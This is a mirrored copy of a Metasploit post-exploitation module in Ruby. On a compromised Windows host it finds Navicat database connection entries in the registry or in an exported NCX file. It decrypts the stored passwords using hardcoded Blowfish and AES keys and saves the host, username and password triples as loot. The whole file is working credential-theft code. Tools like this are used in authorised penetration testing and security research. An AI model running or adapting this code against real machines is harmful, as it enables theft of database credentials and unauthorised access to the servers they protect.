CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/navicat.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
#
5
# @blurbdust based this code off of https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/gpp.rb
6
# and https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/enum_ms_product_keys.rb
7
##
8
9
class MetasploitModule < Msf::Post
10
include Msf::Post::Windows::Registry
11
include Msf::Post::File
12
# secret_key = Digest::SHA1.digest('3DC5CA39')
13
SECRET_KEY = "B\xCE\xB2q\xA5\xE4X\xB7J\xEA\x93\x94y\"5C\x91\x873@".freeze
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => 'Windows Gather Navicat Passwords',
19
'Description' => %q{ This module will find and decrypt stored Navicat passwords },
20
'License' => MSF_LICENSE,
21
'References' => [
22
[ 'URL', 'https://github.com/HyperSine/how-does-navicat-encrypt-password'],
23
[ 'URL', 'https://blog.kali-team.cn/Metasploit-Navicat-fbc1390cf57c40b5b576584c48b8e125']
24
],
25
'Author' => [
26
'HyperSine', # Research and PoC
27
'Kali-Team <kali-team[at]qq.com>' # MSF module
28
],
29
'Platform' => [ 'win' ],
30
'SessionTypes' => [ 'meterpreter', 'shell'],
31
'Notes' => {
32
'Stability' => [],
33
'Reliability' => [],
34
'SideEffects' => []
35
}
36
)
37
)
38
register_options(
39
[
40
OptString.new('NCX_PATH', [ false, 'Specify the path of the NCX export file (e.g. connections.ncx).']),
41
]
42
)
43
end
44
45
def blowfish_encrypt(data = "\xFF" * 8)
46
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
47
cipher.padding = 0
48
cipher.key_len = SECRET_KEY.length
49
cipher.key = SECRET_KEY
50
cipher.update(data) << cipher.final
51
end
52
53
def blowfish_decrypt(text)
54
cipher = OpenSSL::Cipher.new('bf-cbc').decrypt
55
cipher.padding = 0
56
cipher.key_len = SECRET_KEY.length
57
cipher.key = SECRET_KEY
58
cipher.iv = "\x00" * 8
59
cipher.update(text) + cipher.final
60
end
61
62
def strxor(str, second)
63
str.bytes.zip(second.bytes).map { |a, b| (a ^ b).chr }.join
64
end
65
66
def decrypt_navicat11(encrypted_data)
67
password = ''
68
return password unless encrypted_data
69
70
iv = blowfish_encrypt
71
ciphertext = [encrypted_data].pack('H*')
72
cv = iv
73
full_round, left_length = ciphertext.length.divmod(8)
74
75
if full_round > 0
76
for i in 0..full_round - 1 do
77
t = blowfish_decrypt(ciphertext[i * 8, 8])
78
t = strxor(t, cv)
79
password += t
80
cv = strxor(cv, ciphertext[i * 8, 8])
81
end
82
end
83
84
if left_length > 0
85
cv = blowfish_encrypt(cv)
86
test_value = strxor(ciphertext[8 * full_round, left_length], cv[0, left_length])
87
password += test_value
88
end
89
90
password
91
end
92
93
def decrypt_navicat_ncx(ciphertext)
94
ciphertext = [ciphertext].pack('H*')
95
aes = OpenSSL::Cipher.new('aes-128-cbc')
96
aes.decrypt
97
aes.key = 'libcckeylibcckey'
98
aes.padding = 0
99
aes.iv = 'libcciv libcciv '
100
aes.update(ciphertext)
101
end
102
103
def navicat_store_config(config)
104
if %i[hostname service_name port username].any? { |e| config[e].blank? } || config[:password].nil?
105
vprint_warning('Key data is empty, skip saving service credential')
106
return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),
107
# then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually
108
# use against a target.
109
end
110
111
service_data = {
112
address: config[:hostname],
113
port: config[:port],
114
service_name: config[:service_name],
115
protocol: 'tcp',
116
workspace_id: myworkspace_id
117
}
118
119
credential_data = {
120
origin_type: :session,
121
session_id: session_db_id,
122
post_reference_name: refname,
123
private_type: :password,
124
private_data: config[:password],
125
username: config[:username],
126
status: Metasploit::Model::Login::Status::UNTRIED
127
}.merge(service_data)
128
create_credential_and_login(credential_data)
129
end
130
131
def parse_xml(data)
132
mxml = REXML::Document.new(data).root
133
result = []
134
mxml.elements.to_a('//Connection').each do |node|
135
host = node.attributes['Host']
136
port = node.attributes['Port']
137
proto = node.attributes['ConnType']
138
username = node.attributes['UserName']
139
name = node.attributes['ConnectionName']
140
epassword = node.attributes['Password']
141
password = decrypt_navicat_ncx(epassword)
142
result << {
143
name: name,
144
protocol: proto.downcase,
145
hostname: host,
146
port: port,
147
username: username,
148
password: password || epassword
149
}
150
end
151
print_and_save(result)
152
return result
153
end
154
155
def get_reg
156
reg_keys = Hash.new
157
158
reg_keys['mysql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers'
159
reg_keys['mariadb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers'
160
reg_keys['mongodb'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers'
161
reg_keys['mssql'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers'
162
reg_keys['oracle'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers'
163
reg_keys['postgres'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers'
164
reg_keys['sqlite'] = 'HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers'
165
result = []
166
reg_keys.each_pair do |db_name, reg_key|
167
subkeys = registry_enumkeys(reg_key)
168
next if subkeys.nil?
169
170
subkeys.each do |subkey|
171
enc_pwd_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Pwd')
172
next if enc_pwd_value.nil?
173
174
username_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'UserName')
175
port_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Port')
176
host_value = registry_getvaldata("#{reg_key}\\#{subkey}", 'Host')
177
178
pwd_value = decrypt_navicat11(enc_pwd_value)
179
result << {
180
name: subkey,
181
protocol: db_name,
182
hostname: host_value,
183
port: port_value,
184
username: username_value,
185
password: pwd_value || enc_pwd_value
186
}
187
end
188
end
189
print_and_save(result)
190
return result
191
end
192
193
def print_and_save(results)
194
columns = [
195
'Name',
196
'Protocol',
197
'Hostname',
198
'Port',
199
'Username',
200
'Password',
201
]
202
tbl = Rex::Text::Table.new(
203
'Header' => 'Navicat Sessions',
204
'Columns' => columns
205
)
206
results.each do |item|
207
tbl << item.values
208
config = {
209
name: item[:name],
210
hostname: item[:hostname],
211
service_name: item[:protocol],
212
port: item[:port].nil? ? '' : item[:port],
213
username: item[:username],
214
password: item[:password]
215
}
216
navicat_store_config(config)
217
end
218
print_line(tbl.to_s)
219
if tbl.rows.count > 0
220
path = store_loot('host.navicat_session', 'text/plain', session, tbl, 'navicat_sessions.txt', 'Navicat Sessions')
221
print_good("Session info stored in: #{path}")
222
end
223
end
224
225
def run
226
print_status('Gathering Navicat password information.')
227
if datastore['NCX_PATH'].present?
228
ncx_path = datastore['NCX_PATH']
229
print_status("Looking for #{ncx_path}")
230
begin
231
if file_exist?(ncx_path)
232
condata = read_file(ncx_path) || ''
233
fail_with(Failure::Unknown, "The file #{ncx_path} could not be read") if condata.empty?
234
235
loot_path = store_loot('navicat.creds', 'text/xml', session, condata, ncx_path)
236
print_good("navicat.ncx saved to #{loot_path}")
237
parse_xml(condata)
238
print_status("Finished processing #{ncx_path}")
239
end
240
rescue Rex::Post::Meterpreter::RequestError
241
fail_with(Failure::Unknown, "The file #{ncx_path} either could not be read or does not exist")
242
end
243
else
244
get_reg
245
print_status('Finished processing from the registry')
246
end
247
end
248
249
end
250
251